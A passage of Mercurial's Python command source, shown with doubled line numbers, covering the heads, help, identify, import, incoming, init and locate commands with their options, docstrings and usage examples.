3597 3597 )
3598 3598 revs, makefilematcher = logcmdutil.makewalker(repo, wopts)
3599 3599
3600 3600 ui.pager(b'grep')
3601 3601 fm = ui.formatter(b'grep', opts)
3602 3602 for fn, ctx, pstates, states in searcher.searchfiles(revs, makefilematcher):
3603 3603 r = display(fm, fn, ctx, pstates, states)
3604 3604 found = found or r
3605 3605 if r and not diff and not all_files:
3606 3606 searcher.skipfile(fn, ctx.rev())
3607 3607 fm.end()
3608 3608
3609 3609 return not found
3610 3610
3611 3611
3612 3612 @command(
3613 3613 b'heads',
3614 3614 [
3615 3615 (
3616 3616 b'r',
3617 3617 b'rev',
3618 3618 b'',
3619 3619 _(b'show only heads which are descendants of STARTREV'),
3620 3620 _(b'STARTREV'),
3621 3621 ),
3622 3622 (b't', b'topo', False, _(b'show topological heads only')),
3623 3623 (
3624 3624 b'a',
3625 3625 b'active',
3626 3626 False,
3627 3627 _(b'show active branchheads only (DEPRECATED)'),
3628 3628 ),
3629 3629 (b'c', b'closed', False, _(b'show normal and closed branch heads')),
3630 3630 ]
3631 3631 + templateopts,
3632 3632 _(b'[-ct] [-r STARTREV] [REV]...'),
3633 3633 helpcategory=command.CATEGORY_CHANGE_NAVIGATION,
3634 3634 intents={INTENT_READONLY},
3635 3635 )
3636 3636 def heads(ui, repo, *branchrevs, **opts):
3637 3637 """show branch heads
3638 3638
3639 3639 With no arguments, show all open branch heads in the repository.
3640 3640 Branch heads are changesets that have no descendants on the
3641 3641 same branch. They are where development generally takes place and
3642 3642 are the usual targets for update and merge operations.
3643 3643
3644 3644 If one or more REVs are given, only open branch heads on the
3645 3645 branches associated with the specified changesets are shown. This
3646 3646 means that you can use :hg:`heads .` to see the heads on the
3647 3647 currently checked-out branch.
3648 3648
3649 3649 If -c/--closed is specified, also show branch heads marked closed
3650 3650 (see :hg:`commit --close-branch`).
3651 3651
3652 3652 If STARTREV is specified, only those heads that are descendants of
3653 3653 STARTREV will be displayed.
3654 3654
3655 3655 If -t/--topo is specified, named branch mechanics will be ignored and only
3656 3656 topological heads (changesets with no children) will be shown.
3657 3657
3658 3658 Returns 0 if matching heads are found, 1 if not.
3659 3659 """
3660 3660
3661 3661 opts = pycompat.byteskwargs(opts)
3662 3662 start = None
3663 3663 rev = opts.get(b'rev')
3664 3664 if rev:
3665 3665 repo = scmutil.unhidehashlikerevs(repo, [rev], b'nowarn')
3666 3666 start = scmutil.revsingle(repo, rev, None).node()
3667 3667
3668 3668 if opts.get(b'topo'):
3669 3669 heads = [repo[h] for h in repo.heads(start)]
3670 3670 else:
3671 3671 heads = []
3672 3672 for branch in repo.branchmap():
3673 3673 heads += repo.branchheads(branch, start, opts.get(b'closed'))
3674 3674 heads = [repo[h] for h in heads]
3675 3675
3676 3676 if branchrevs:
3677 3677 branches = {
3678 3678 repo[r].branch() for r in scmutil.revrange(repo, branchrevs)
3679 3679 }
3680 3680 heads = [h for h in heads if h.branch() in branches]
3681 3681
3682 3682 if opts.get(b'active') and branchrevs:
3683 3683 dagheads = repo.heads(start)
3684 3684 heads = [h for h in heads if h.node() in dagheads]
3685 3685
3686 3686 if branchrevs:
3687 3687 haveheads = {h.branch() for h in heads}
3688 3688 if branches - haveheads:
3689 3689 headless = b', '.join(b for b in branches - haveheads)
3690 3690 msg = _(b'no open branch heads found on branches %s')
3691 3691 if opts.get(b'rev'):
3692 3692 msg += _(b' (started at %s)') % opts[b'rev']
3693 3693 ui.warn((msg + b'\n') % headless)
3694 3694
3695 3695 if not heads:
3696 3696 return 1
3697 3697
3698 3698 ui.pager(b'heads')
3699 3699 heads = sorted(heads, key=lambda x: -(x.rev()))
3700 3700 displayer = logcmdutil.changesetdisplayer(ui, repo, opts)
3701 3701 for ctx in heads:
3702 3702 displayer.show(ctx)
3703 3703 displayer.close()
3704 3704
3705 3705
3706 3706 @command(
3707 3707 b'help',
3708 3708 [
3709 3709 (b'e', b'extension', None, _(b'show only help for extensions')),
3710 3710 (b'c', b'command', None, _(b'show only help for commands')),
3711 3711 (b'k', b'keyword', None, _(b'show topics matching keyword')),
3712 3712 (
3713 3713 b's',
3714 3714 b'system',
3715 3715 [],
3716 3716 _(b'show help for specific platform(s)'),
3717 3717 _(b'PLATFORM'),
3718 3718 ),
3719 3719 ],
3720 3720 _(b'[-eck] [-s PLATFORM] [TOPIC]'),
3721 3721 helpcategory=command.CATEGORY_HELP,
3722 3722 norepo=True,
3723 3723 intents={INTENT_READONLY},
3724 3724 )
3725 3725 def help_(ui, name=None, **opts):
3726 3726 """show help for a given topic or a help overview
3727 3727
3728 3728 With no arguments, print a list of commands with short help messages.
3729 3729
3730 3730 Given a topic, extension, or command name, print help for that
3731 3731 topic.
3732 3732
3733 3733 Returns 0 if successful.
3734 3734 """
3735 3735
3736 3736 keep = opts.get('system') or []
3737 3737 if len(keep) == 0:
3738 3738 if pycompat.sysplatform.startswith(b'win'):
3739 3739 keep.append(b'windows')
3740 3740 elif pycompat.sysplatform == b'OpenVMS':
3741 3741 keep.append(b'vms')
3742 3742 elif pycompat.sysplatform == b'plan9':
3743 3743 keep.append(b'plan9')
3744 3744 else:
3745 3745 keep.append(b'unix')
3746 3746 keep.append(pycompat.sysplatform.lower())
3747 3747 if ui.verbose:
3748 3748 keep.append(b'verbose')
3749 3749
3750 3750 commands = sys.modules[__name__]
3751 3751 formatted = help.formattedhelp(ui, commands, name, keep=keep, **opts)
3752 3752 ui.pager(b'help')
3753 3753 ui.write(formatted)
3754 3754
3755 3755
3756 3756 @command(
3757 3757 b'identify|id',
3758 3758 [
3759 3759 (b'r', b'rev', b'', _(b'identify the specified revision'), _(b'REV')),
3760 3760 (b'n', b'num', None, _(b'show local revision number')),
3761 3761 (b'i', b'id', None, _(b'show global revision id')),
3762 3762 (b'b', b'branch', None, _(b'show branch')),
3763 3763 (b't', b'tags', None, _(b'show tags')),
3764 3764 (b'B', b'bookmarks', None, _(b'show bookmarks')),
3765 3765 ]
3766 3766 + remoteopts
3767 3767 + formatteropts,
3768 3768 _(b'[-nibtB] [-r REV] [SOURCE]'),
3769 3769 helpcategory=command.CATEGORY_CHANGE_NAVIGATION,
3770 3770 optionalrepo=True,
3771 3771 intents={INTENT_READONLY},
3772 3772 )
3773 3773 def identify(
3774 3774 ui,
3775 3775 repo,
3776 3776 source=None,
3777 3777 rev=None,
3778 3778 num=None,
3779 3779 id=None,
3780 3780 branch=None,
3781 3781 tags=None,
3782 3782 bookmarks=None,
3783 3783 **opts
3784 3784 ):
3785 3785 """identify the working directory or specified revision
3786 3786
3787 3787 Print a summary identifying the repository state at REV using one or
3788 3788 two parent hash identifiers, followed by a "+" if the working
3789 3789 directory has uncommitted changes, the branch name (if not default),
3790 3790 a list of tags, and a list of bookmarks.
3791 3791
3792 3792 When REV is not given, print a summary of the current state of the
3793 3793 repository including the working directory. Specify -r. to get information
3794 3794 of the working directory parent without scanning uncommitted changes.
3795 3795
3796 3796 Specifying a path to a repository root or Mercurial bundle will
3797 3797 cause lookup to operate on that repository/bundle.
3798 3798
3799 3799 .. container:: verbose
3800 3800
3801 3801 Template:
3802 3802
3803 3803 The following keywords are supported in addition to the common template
3804 3804 keywords and functions. See also :hg:`help templates`.
3805 3805
3806 3806 :dirty: String. Character ``+`` denoting if the working directory has
3807 3807 uncommitted changes.
3808 3808 :id: String. One or two nodes, optionally followed by ``+``.
3809 3809 :parents: List of strings. Parent nodes of the changeset.
3810 3810
3811 3811 Examples:
3812 3812
3813 3813 - generate a build identifier for the working directory::
3814 3814
3815 3815 hg id --id > build-id.dat
3816 3816
3817 3817 - find the revision corresponding to a tag::
3818 3818
3819 3819 hg id -n -r 1.3
3820 3820
3821 3821 - check the most recent revision of a remote repository::
3822 3822
3823 3823 hg id -r tip https://www.mercurial-scm.org/repo/hg/
3824 3824
3825 3825 See :hg:`log` for generating more information about specific revisions,
3826 3826 including full hash identifiers.
3827 3827
3828 3828 Returns 0 if successful.
3829 3829 """
3830 3830
3831 3831 opts = pycompat.byteskwargs(opts)
3832 3832 if not repo and not source:
3833 3833 raise error.InputError(
3834 3834 _(b"there is no Mercurial repository here (.hg not found)")
3835 3835 )
3836 3836
3837 3837 default = not (num or id or branch or tags or bookmarks)
3838 3838 output = []
3839 3839 revs = []
3840 3840
3841 3841 peer = None
3842 3842 try:
3843 3843 if source:
3844 3844 source, branches = urlutil.parseurl(ui.expandpath(source))
3845 3845 # only pass ui when no repo
3846 3846 peer = hg.peer(repo or ui, opts, source)
3847 3847 repo = peer.local()
3848 3848 revs, checkout = hg.addbranchrevs(repo, peer, branches, None)
3849 3849
3850 3850 fm = ui.formatter(b'identify', opts)
3851 3851 fm.startitem()
3852 3852
3853 3853 if not repo:
3854 3854 if num or branch or tags:
3855 3855 raise error.InputError(
3856 3856 _(b"can't query remote revision number, branch, or tags")
3857 3857 )
3858 3858 if not rev and revs:
3859 3859 rev = revs[0]
3860 3860 if not rev:
3861 3861 rev = b"tip"
3862 3862
3863 3863 remoterev = peer.lookup(rev)
3864 3864 hexrev = fm.hexfunc(remoterev)
3865 3865 if default or id:
3866 3866 output = [hexrev]
3867 3867 fm.data(id=hexrev)
3868 3868
3869 3869 @util.cachefunc
3870 3870 def getbms():
3871 3871 bms = []
3872 3872
3873 3873 if b'bookmarks' in peer.listkeys(b'namespaces'):
3874 3874 hexremoterev = hex(remoterev)
3875 3875 bms = [
3876 3876 bm
3877 3877 for bm, bmr in pycompat.iteritems(
3878 3878 peer.listkeys(b'bookmarks')
3879 3879 )
3880 3880 if bmr == hexremoterev
3881 3881 ]
3882 3882
3883 3883 return sorted(bms)
3884 3884
3885 3885 if fm.isplain():
3886 3886 if bookmarks:
3887 3887 output.extend(getbms())
3888 3888 elif default and not ui.quiet:
3889 3889 # multiple bookmarks for a single parent separated by '/'
3890 3890 bm = b'/'.join(getbms())
3891 3891 if bm:
3892 3892 output.append(bm)
3893 3893 else:
3894 3894 fm.data(node=hex(remoterev))
3895 3895 if bookmarks or b'bookmarks' in fm.datahint():
3896 3896 fm.data(bookmarks=fm.formatlist(getbms(), name=b'bookmark'))
3897 3897 else:
3898 3898 if rev:
3899 3899 repo = scmutil.unhidehashlikerevs(repo, [rev], b'nowarn')
3900 3900 ctx = scmutil.revsingle(repo, rev, None)
3901 3901
3902 3902 if ctx.rev() is None:
3903 3903 ctx = repo[None]
3904 3904 parents = ctx.parents()
3905 3905 taglist = []
3906 3906 for p in parents:
3907 3907 taglist.extend(p.tags())
3908 3908
3909 3909 dirty = b""
3910 3910 if ctx.dirty(missing=True, merge=False, branch=False):
3911 3911 dirty = b'+'
3912 3912 fm.data(dirty=dirty)
3913 3913
3914 3914 hexoutput = [fm.hexfunc(p.node()) for p in parents]
3915 3915 if default or id:
3916 3916 output = [b"%s%s" % (b'+'.join(hexoutput), dirty)]
3917 3917 fm.data(id=b"%s%s" % (b'+'.join(hexoutput), dirty))
3918 3918
3919 3919 if num:
3920 3920 numoutput = [b"%d" % p.rev() for p in parents]
3921 3921 output.append(b"%s%s" % (b'+'.join(numoutput), dirty))
3922 3922
3923 3923 fm.data(
3924 3924 parents=fm.formatlist(
3925 3925 [fm.hexfunc(p.node()) for p in parents], name=b'node'
3926 3926 )
3927 3927 )
3928 3928 else:
3929 3929 hexoutput = fm.hexfunc(ctx.node())
3930 3930 if default or id:
3931 3931 output = [hexoutput]
3932 3932 fm.data(id=hexoutput)
3933 3933
3934 3934 if num:
3935 3935 output.append(pycompat.bytestr(ctx.rev()))
3936 3936 taglist = ctx.tags()
3937 3937
3938 3938 if default and not ui.quiet:
3939 3939 b = ctx.branch()
3940 3940 if b != b'default':
3941 3941 output.append(b"(%s)" % b)
3942 3942
3943 3943 # multiple tags for a single parent separated by '/'
3944 3944 t = b'/'.join(taglist)
3945 3945 if t:
3946 3946 output.append(t)
3947 3947
3948 3948 # multiple bookmarks for a single parent separated by '/'
3949 3949 bm = b'/'.join(ctx.bookmarks())
3950 3950 if bm:
3951 3951 output.append(bm)
3952 3952 else:
3953 3953 if branch:
3954 3954 output.append(ctx.branch())
3955 3955
3956 3956 if tags:
3957 3957 output.extend(taglist)
3958 3958
3959 3959 if bookmarks:
3960 3960 output.extend(ctx.bookmarks())
3961 3961
3962 3962 fm.data(node=ctx.hex())
3963 3963 fm.data(branch=ctx.branch())
3964 3964 fm.data(tags=fm.formatlist(taglist, name=b'tag', sep=b':'))
3965 3965 fm.data(bookmarks=fm.formatlist(ctx.bookmarks(), name=b'bookmark'))
3966 3966 fm.context(ctx=ctx)
3967 3967
3968 3968 fm.plain(b"%s\n" % b' '.join(output))
3969 3969 fm.end()
3970 3970 finally:
3971 3971 if peer:
3972 3972 peer.close()
3973 3973
3974 3974
3975 3975 @command(
3976 3976 b'import|patch',
3977 3977 [
3978 3978 (
3979 3979 b'p',
3980 3980 b'strip',
3981 3981 1,
3982 3982 _(
3983 3983 b'directory strip option for patch. This has the same '
3984 3984 b'meaning as the corresponding patch option'
3985 3985 ),
3986 3986 _(b'NUM'),
3987 3987 ),
3988 3988 (b'b', b'base', b'', _(b'base path (DEPRECATED)'), _(b'PATH')),
3989 3989 (b'', b'secret', None, _(b'use the secret phase for committing')),
3990 3990 (b'e', b'edit', False, _(b'invoke editor on commit messages')),
3991 3991 (
3992 3992 b'f',
3993 3993 b'force',
3994 3994 None,
3995 3995 _(b'skip check for outstanding uncommitted changes (DEPRECATED)'),
3996 3996 ),
3997 3997 (
3998 3998 b'',
3999 3999 b'no-commit',
4000 4000 None,
4001 4001 _(b"don't commit, just update the working directory"),
4002 4002 ),
4003 4003 (
4004 4004 b'',
4005 4005 b'bypass',
4006 4006 None,
4007 4007 _(b"apply patch without touching the working directory"),
4008 4008 ),
4009 4009 (b'', b'partial', None, _(b'commit even if some hunks fail')),
4010 4010 (b'', b'exact', None, _(b'abort if patch would apply lossily')),
4011 4011 (b'', b'prefix', b'', _(b'apply patch to subdirectory'), _(b'DIR')),
4012 4012 (
4013 4013 b'',
4014 4014 b'import-branch',
4015 4015 None,
4016 4016 _(b'use any branch information in patch (implied by --exact)'),
4017 4017 ),
4018 4018 ]
4019 4019 + commitopts
4020 4020 + commitopts2
4021 4021 + similarityopts,
4022 4022 _(b'[OPTION]... PATCH...'),
4023 4023 helpcategory=command.CATEGORY_IMPORT_EXPORT,
4024 4024 )
4025 4025 def import_(ui, repo, patch1=None, *patches, **opts):
4026 4026 """import an ordered set of patches
4027 4027
4028 4028 Import a list of patches and commit them individually (unless
4029 4029 --no-commit is specified).
4030 4030
4031 4031 To read a patch from standard input (stdin), use "-" as the patch
4032 4032 name. If a URL is specified, the patch will be downloaded from
4033 4033 there.
4034 4034
4035 4035 Import first applies changes to the working directory (unless
4036 4036 --bypass is specified), import will abort if there are outstanding
4037 4037 changes.
4038 4038
4039 4039 Use --bypass to apply and commit patches directly to the
4040 4040 repository, without affecting the working directory. Without
4041 4041 --exact, patches will be applied on top of the working directory
4042 4042 parent revision.
4043 4043
4044 4044 You can import a patch straight from a mail message. Even patches
4045 4045 as attachments work (to use the body part, it must have type
4046 4046 text/plain or text/x-patch). From and Subject headers of email
4047 4047 message are used as default committer and commit message. All
4048 4048 text/plain body parts before first diff are added to the commit
4049 4049 message.
4050 4050
4051 4051 If the imported patch was generated by :hg:`export`, user and
4052 4052 description from patch override values from message headers and
4053 4053 body. Values given on command line with -m/--message and -u/--user
4054 4054 override these.
4055 4055
4056 4056 If --exact is specified, import will set the working directory to
4057 4057 the parent of each patch before applying it, and will abort if the
4058 4058 resulting changeset has a different ID than the one recorded in
4059 4059 the patch. This will guard against various ways that portable
4060 4060 patch formats and mail systems might fail to transfer Mercurial
4061 4061 data or metadata. See :hg:`bundle` for lossless transmission.
4062 4062
4063 4063 Use --partial to ensure a changeset will be created from the patch
4064 4064 even if some hunks fail to apply. Hunks that fail to apply will be
4065 4065 written to a <target-file>.rej file. Conflicts can then be resolved
4066 4066 by hand before :hg:`commit --amend` is run to update the created
4067 4067 changeset. This flag exists to let people import patches that
4068 4068 partially apply without losing the associated metadata (author,
4069 4069 date, description, ...).
4070 4070
4071 4071 .. note::
4072 4072
4073 4073 When no hunks apply cleanly, :hg:`import --partial` will create
4074 4074 an empty changeset, importing only the patch metadata.
4075 4075
4076 4076 With -s/--similarity, hg will attempt to discover renames and
4077 4077 copies in the patch in the same way as :hg:`addremove`.
4078 4078
4079 4079 It is possible to use external patch programs to perform the patch
4080 4080 by setting the ``ui.patch`` configuration option. For the default
4081 4081 internal tool, the fuzz can also be configured via ``patch.fuzz``.
4082 4082 See :hg:`help config` for more information about configuration
4083 4083 files and how to use these options.
4084 4084
4085 4085 See :hg:`help dates` for a list of formats valid for -d/--date.
4086 4086
4087 4087 .. container:: verbose
4088 4088
4089 4089 Examples:
4090 4090
4091 4091 - import a traditional patch from a website and detect renames::
4092 4092
4093 4093 hg import -s 80 http://example.com/bugfix.patch
4094 4094
4095 4095 - import a changeset from an hgweb server::
4096 4096
4097 4097 hg import https://www.mercurial-scm.org/repo/hg/rev/5ca8c111e9aa
4098 4098
4099 4099 - import all the patches in an Unix-style mbox::
4100 4100
4101 4101 hg import incoming-patches.mbox
4102 4102
4103 4103 - import patches from stdin::
4104 4104
4105 4105 hg import -
4106 4106
4107 4107 - attempt to exactly restore an exported changeset (not always
4108 4108 possible)::
4109 4109
4110 4110 hg import --exact proposed-fix.patch
4111 4111
4112 4112 - use an external tool to apply a patch which is too fuzzy for
4113 4113 the default internal tool.
4114 4114
4115 4115 hg import --config ui.patch="patch --merge" fuzzy.patch
4116 4116
4117 4117 - change the default fuzzing from 2 to a less strict 7
4118 4118
4119 4119 hg import --config ui.fuzz=7 fuzz.patch
4120 4120
4121 4121 Returns 0 on success, 1 on partial success (see --partial).
4122 4122 """
4123 4123
4124 4124 cmdutil.check_incompatible_arguments(
4125 4125 opts, 'no_commit', ['bypass', 'secret']
4126 4126 )
4127 4127 cmdutil.check_incompatible_arguments(opts, 'exact', ['edit', 'prefix'])
4128 4128 opts = pycompat.byteskwargs(opts)
4129 4129 if not patch1:
4130 4130 raise error.InputError(_(b'need at least one patch to import'))
4131 4131
4132 4132 patches = (patch1,) + patches
4133 4133
4134 4134 date = opts.get(b'date')
4135 4135 if date:
4136 4136 opts[b'date'] = dateutil.parsedate(date)
4137 4137
4138 4138 exact = opts.get(b'exact')
4139 4139 update = not opts.get(b'bypass')
4140 4140 try:
4141 4141 sim = float(opts.get(b'similarity') or 0)
4142 4142 except ValueError:
4143 4143 raise error.InputError(_(b'similarity must be a number'))
4144 4144 if sim < 0 or sim > 100:
4145 4145 raise error.InputError(_(b'similarity must be between 0 and 100'))
4146 4146 if sim and not update:
4147 4147 raise error.InputError(_(b'cannot use --similarity with --bypass'))
4148 4148
4149 4149 base = opts[b"base"]
4150 4150 msgs = []
4151 4151 ret = 0
4152 4152
4153 4153 with repo.wlock():
4154 4154 if update:
4155 4155 cmdutil.checkunfinished(repo)
4156 4156 if exact or not opts.get(b'force'):
4157 4157 cmdutil.bailifchanged(repo)
4158 4158
4159 4159 if not opts.get(b'no_commit'):
4160 4160 lock = repo.lock
4161 4161 tr = lambda: repo.transaction(b'import')
4162 4162 dsguard = util.nullcontextmanager
4163 4163 else:
4164 4164 lock = util.nullcontextmanager
4165 4165 tr = util.nullcontextmanager
4166 4166 dsguard = lambda: dirstateguard.dirstateguard(repo, b'import')
4167 4167 with lock(), tr(), dsguard():
4168 4168 parents = repo[None].parents()
4169 4169 for patchurl in patches:
4170 4170 if patchurl == b'-':
4171 4171 ui.status(_(b'applying patch from stdin\n'))
4172 4172 patchfile = ui.fin
4173 4173 patchurl = b'stdin' # for error message
4174 4174 else:
4175 4175 patchurl = os.path.join(base, patchurl)
4176 4176 ui.status(_(b'applying %s\n') % patchurl)
4177 4177 patchfile = hg.openpath(ui, patchurl, sendaccept=False)
4178 4178
4179 4179 haspatch = False
4180 4180 for hunk in patch.split(patchfile):
4181 4181 with patch.extract(ui, hunk) as patchdata:
4182 4182 msg, node, rej = cmdutil.tryimportone(
4183 4183 ui, repo, patchdata, parents, opts, msgs, hg.clean
4184 4184 )
4185 4185 if msg:
4186 4186 haspatch = True
4187 4187 ui.note(msg + b'\n')
4188 4188 if update or exact:
4189 4189 parents = repo[None].parents()
4190 4190 else:
4191 4191 parents = [repo[node]]
4192 4192 if rej:
4193 4193 ui.write_err(_(b"patch applied partially\n"))
4194 4194 ui.write_err(
4195 4195 _(
4196 4196 b"(fix the .rej files and run "
4197 4197 b"`hg commit --amend`)\n"
4198 4198 )
4199 4199 )
4200 4200 ret = 1
4201 4201 break
4202 4202
4203 4203 if not haspatch:
4204 4204 raise error.InputError(_(b'%s: no diffs found') % patchurl)
4205 4205
4206 4206 if msgs:
4207 4207 repo.savecommitmessage(b'\n* * *\n'.join(msgs))
4208 4208 return ret
4209 4209
4210 4210
4211 4211 @command(
4212 4212 b'incoming|in',
4213 4213 [
4214 4214 (
4215 4215 b'f',
4216 4216 b'force',
4217 4217 None,
4218 4218 _(b'run even if remote repository is unrelated'),
4219 4219 ),
4220 4220 (b'n', b'newest-first', None, _(b'show newest record first')),
4221 4221 (b'', b'bundle', b'', _(b'file to store the bundles into'), _(b'FILE')),
4222 4222 (
4223 4223 b'r',
4224 4224 b'rev',
4225 4225 [],
4226 4226 _(b'a remote changeset intended to be added'),
4227 4227 _(b'REV'),
4228 4228 ),
4229 4229 (b'B', b'bookmarks', False, _(b"compare bookmarks")),
4230 4230 (
4231 4231 b'b',
4232 4232 b'branch',
4233 4233 [],
4234 4234 _(b'a specific branch you would like to pull'),
4235 4235 _(b'BRANCH'),
4236 4236 ),
4237 4237 ]
4238 4238 + logopts
4239 4239 + remoteopts
4240 4240 + subrepoopts,
4241 4241 _(b'[-p] [-n] [-M] [-f] [-r REV]... [--bundle FILENAME] [SOURCE]'),
4242 4242 helpcategory=command.CATEGORY_REMOTE_REPO_MANAGEMENT,
4243 4243 )
4244 4244 def incoming(ui, repo, source=b"default", **opts):
4245 4245 """show new changesets found in source
4246 4246
4247 4247 Show new changesets found in the specified path/URL or the default
4248 4248 pull location. These are the changesets that would have been pulled
4249 4249 by :hg:`pull` at the time you issued this command.
4250 4250
4251 4251 See pull for valid source format details.
4252 4252
4253 4253 .. container:: verbose
4254 4254
4255 4255 With -B/--bookmarks, the result of bookmark comparison between
4256 4256 local and remote repositories is displayed. With -v/--verbose,
4257 4257 status is also displayed for each bookmark like below::
4258 4258
4259 4259 BM1 01234567890a added
4260 4260 BM2 1234567890ab advanced
4261 4261 BM3 234567890abc diverged
4262 4262 BM4 34567890abcd changed
4263 4263
4264 4264 The action taken locally when pulling depends on the
4265 4265 status of each bookmark:
4266 4266
4267 4267 :``added``: pull will create it
4268 4268 :``advanced``: pull will update it
4269 4269 :``diverged``: pull will create a divergent bookmark
4270 4270 :``changed``: result depends on remote changesets
4271 4271
4272 4272 From the point of view of pulling behavior, bookmark
4273 4273 existing only in the remote repository are treated as ``added``,
4274 4274 even if it is in fact locally deleted.
4275 4275
4276 4276 .. container:: verbose
4277 4277
4278 4278 For remote repository, using --bundle avoids downloading the
4279 4279 changesets twice if the incoming is followed by a pull.
4280 4280
4281 4281 Examples:
4282 4282
4283 4283 - show incoming changes with patches and full description::
4284 4284
4285 4285 hg incoming -vp
4286 4286
4287 4287 - show incoming changes excluding merges, store a bundle::
4288 4288
4289 4289 hg in -vpM --bundle incoming.hg
4290 4290 hg pull incoming.hg
4291 4291
4292 4292 - briefly list changes inside a bundle::
4293 4293
4294 4294 hg in changes.hg -T "{desc|firstline}\\n"
4295 4295
4296 4296 Returns 0 if there are incoming changes, 1 otherwise.
4297 4297 """
4298 4298 opts = pycompat.byteskwargs(opts)
4299 4299 if opts.get(b'graph'):
4300 4300 logcmdutil.checkunsupportedgraphflags([], opts)
4301 4301
4302 4302 def display(other, chlist, displayer):
4303 4303 revdag = logcmdutil.graphrevs(other, chlist, opts)
4304 4304 logcmdutil.displaygraph(
4305 4305 ui, repo, revdag, displayer, graphmod.asciiedges
4306 4306 )
4307 4307
4308 4308 hg._incoming(display, lambda: 1, ui, repo, source, opts, buffered=True)
4309 4309 return 0
4310 4310
4311 4311 cmdutil.check_incompatible_arguments(opts, b'subrepos', [b'bundle'])
4312 4312
4313 4313 if opts.get(b'bookmarks'):
4314 4314 source, branches = urlutil.parseurl(
4315 4315 ui.expandpath(source), opts.get(b'branch')
4316 4316 )
4317 4317 other = hg.peer(repo, opts, source)
4318 4318 try:
4319 4319 if b'bookmarks' not in other.listkeys(b'namespaces'):
4320 4320 ui.warn(_(b"remote doesn't support bookmarks\n"))
4321 4321 return 0
4322 4322 ui.pager(b'incoming')
4323 4323 ui.status(_(b'comparing with %s\n') % urlutil.hidepassword(source))
4324 4324 return bookmarks.incoming(ui, repo, other)
4325 4325 finally:
4326 4326 other.close()
4327 4327
4328 4328 repo._subtoppath = ui.expandpath(source)
4329 4329 try:
4330 4330 return hg.incoming(ui, repo, source, opts)
4331 4331 finally:
4332 4332 del repo._subtoppath
4333 4333
4334 4334
4335 4335 @command(
4336 4336 b'init',
4337 4337 remoteopts,
4338 4338 _(b'[-e CMD] [--remotecmd CMD] [DEST]'),
4339 4339 helpcategory=command.CATEGORY_REPO_CREATION,
4340 4340 helpbasic=True,
4341 4341 norepo=True,
4342 4342 )
4343 4343 def init(ui, dest=b".", **opts):
4344 4344 """create a new repository in the given directory
4345 4345
4346 4346 Initialize a new repository in the given directory. If the given
4347 4347 directory does not exist, it will be created.
4348 4348
4349 4349 If no directory is given, the current directory is used.
4350 4350
4351 4351 It is possible to specify an ``ssh://`` URL as the destination.
4352 4352 See :hg:`help urls` for more information.
4353 4353
4354 4354 Returns 0 on success.
4355 4355 """
4356 4356 opts = pycompat.byteskwargs(opts)
4357 4357 peer = hg.peer(ui, opts, ui.expandpath(dest), create=True)
4358 4358 peer.close()
4359 4359
4360 4360
4361 4361 @command(
4362 4362 b'locate',
4363 4363 [
4364 4364 (
4365 4365 b'r',
4366 4366 b'rev',
4367 4367 b'',
4368 4368 _(b'search the repository as it is in REV'),
4369 4369 _(b'REV'),
4370 4370 ),
4371 4371 (
4372 4372 b'0',
4373 4373 b'print0',
4374 4374 None,
4375 4375 _(b'end filenames with NUL, for use with xargs'),
4376 4376 ),
4377 4377 (
4378 4378 b'f',
4379 4379 b'fullpath',
4380 4380 None,
4381 4381 _(b'print complete paths from the filesystem root'),
4382 4382 ),
4383 4383 ]
4384 4384 + walkopts,
4385 4385 _(b'[OPTION]... [PATTERN]...'),
4386 4386 helpcategory=command.CATEGORY_WORKING_DIRECTORY,
4387 4387 )
4388 4388 def locate(ui, repo, *pats, **opts):
4389 4389 """locate files matching specific patterns (DEPRECATED)
4390 4390
4391 4391 Print files under Mercurial control in the working directory whose
4392 4392 names match the given patterns.
4393 4393
4394 4394 By default, this command searches all directories in the working
4395 4395 directory. To search just the current directory and its
4396 4396 subdirectories, use "--include .".
4397 4397
4398 4398 If no patterns are given to match, this command prints the names
4399 4399 of all files under Mercurial control in the working directory.
4400 4400
4401 4401 If you want to feed the output of this command into the "xargs"
4402 4402 command, use the -0 option to both this command and "xargs". This
4403 4403 will avoid the problem of "xargs" treating single filenames that
4404 4404 contain whitespace as multiple filenames.
4405 4405
4406 4406 See :hg:`help files` for a more versatile command.
4407 4407
4408 4408 Returns 0 if a match is found, 1 otherwise.
4409 4409 """
4410 4410 opts = pycompat.byteskwargs(opts)
4411 4411 if opts.get(b'print0'):
4412 4412 end = b'\0'
4413 4413 else:
4414 4414 end = b'\n'
4415 4415 ctx = scmutil.revsingle(repo, opts.get(b'rev'), None)
4416 4416
4417 4417 ret = 1
4418 4418 m = scmutil.match(
4419 4419 ctx, pats, opts, default=b'relglob', badfn=lambda x, y: False
4420 4420 )
4421 4421
4422 4422 ui.pager(b'locate')
4423 4423 if ctx.rev() is None:
4424 4424 # When run on the working copy, "locate" includes removed files, so
4425 4425 # we get the list of files from the dirstate.
4426 4426 filesgen = sorted(repo.dirstate.matches(m))
4427 4427 else:
4428 4428 filesgen = ctx.matches(m)
4429 4429 uipathfn = scmutil.getuipathfn(repo, legacyrelativevalue=bool(pats))
4430 4430 for abs in filesgen:
4431 4431 if opts.get(b'fullpath'):
4432 4432 ui.write(repo.wjoin(abs), end)
4433 4433 else:
4434 4434 ui.write(uipathfn(abs), end)
4435 4435 ret = 0
4436 4436
4437 4437 return ret
4438 4438
4439 4439
4440 4440 @command(
4441 4441 b'log|history',
4442 4442 [
4443 4443 (
4444 4444 b'f',
4445 4445 b'follow',
4446 4446 None,
4447 4447 _(
4448 4448 b'follow changeset history, or file history across copies and renames'
4449 4449 ),
4450 4450 ),
4451 4451 (
4452 4452 b'',
4453 4453 b'follow-first',
4454 4454 None,
4455 4455 _(b'only follow the first parent of merge changesets (DEPRECATED)'),
4456 4456 ),
4457 4457 (
4458 4458 b'd',
4459 4459 b'date',
4460 4460 b'',
4461 4461 _(b'show revisions matching date spec'),
4462 4462 _(b'DATE'),
4463 4463 ),
4464 4464 (b'C', b'copies', None, _(b'show copied files')),
4465 4465 (
4466 4466 b'k',
4467 4467 b'keyword',
4468 4468 [],
4469 4469 _(b'do case-insensitive search for a given text'),
4470 4470 _(b'TEXT'),
4471 4471 ),
4472 4472 (
4473 4473 b'r',
4474 4474 b'rev',
4475 4475 [],
4476 4476 _(b'revisions to select or follow from'),
4477 4477 _(b'REV'),
4478 4478 ),
4479 4479 (
4480 4480 b'L',
4481 4481 b'line-range',
4482 4482 [],
4483 4483 _(b'follow line range of specified file (EXPERIMENTAL)'),
4484 4484 _(b'FILE,RANGE'),
4485 4485 ),
4486 4486 (
4487 4487 b'',
4488 4488 b'removed',
4489 4489 None,
4490 4490 _(b'include revisions where files were removed'),
4491 4491 ),
4492 4492 (
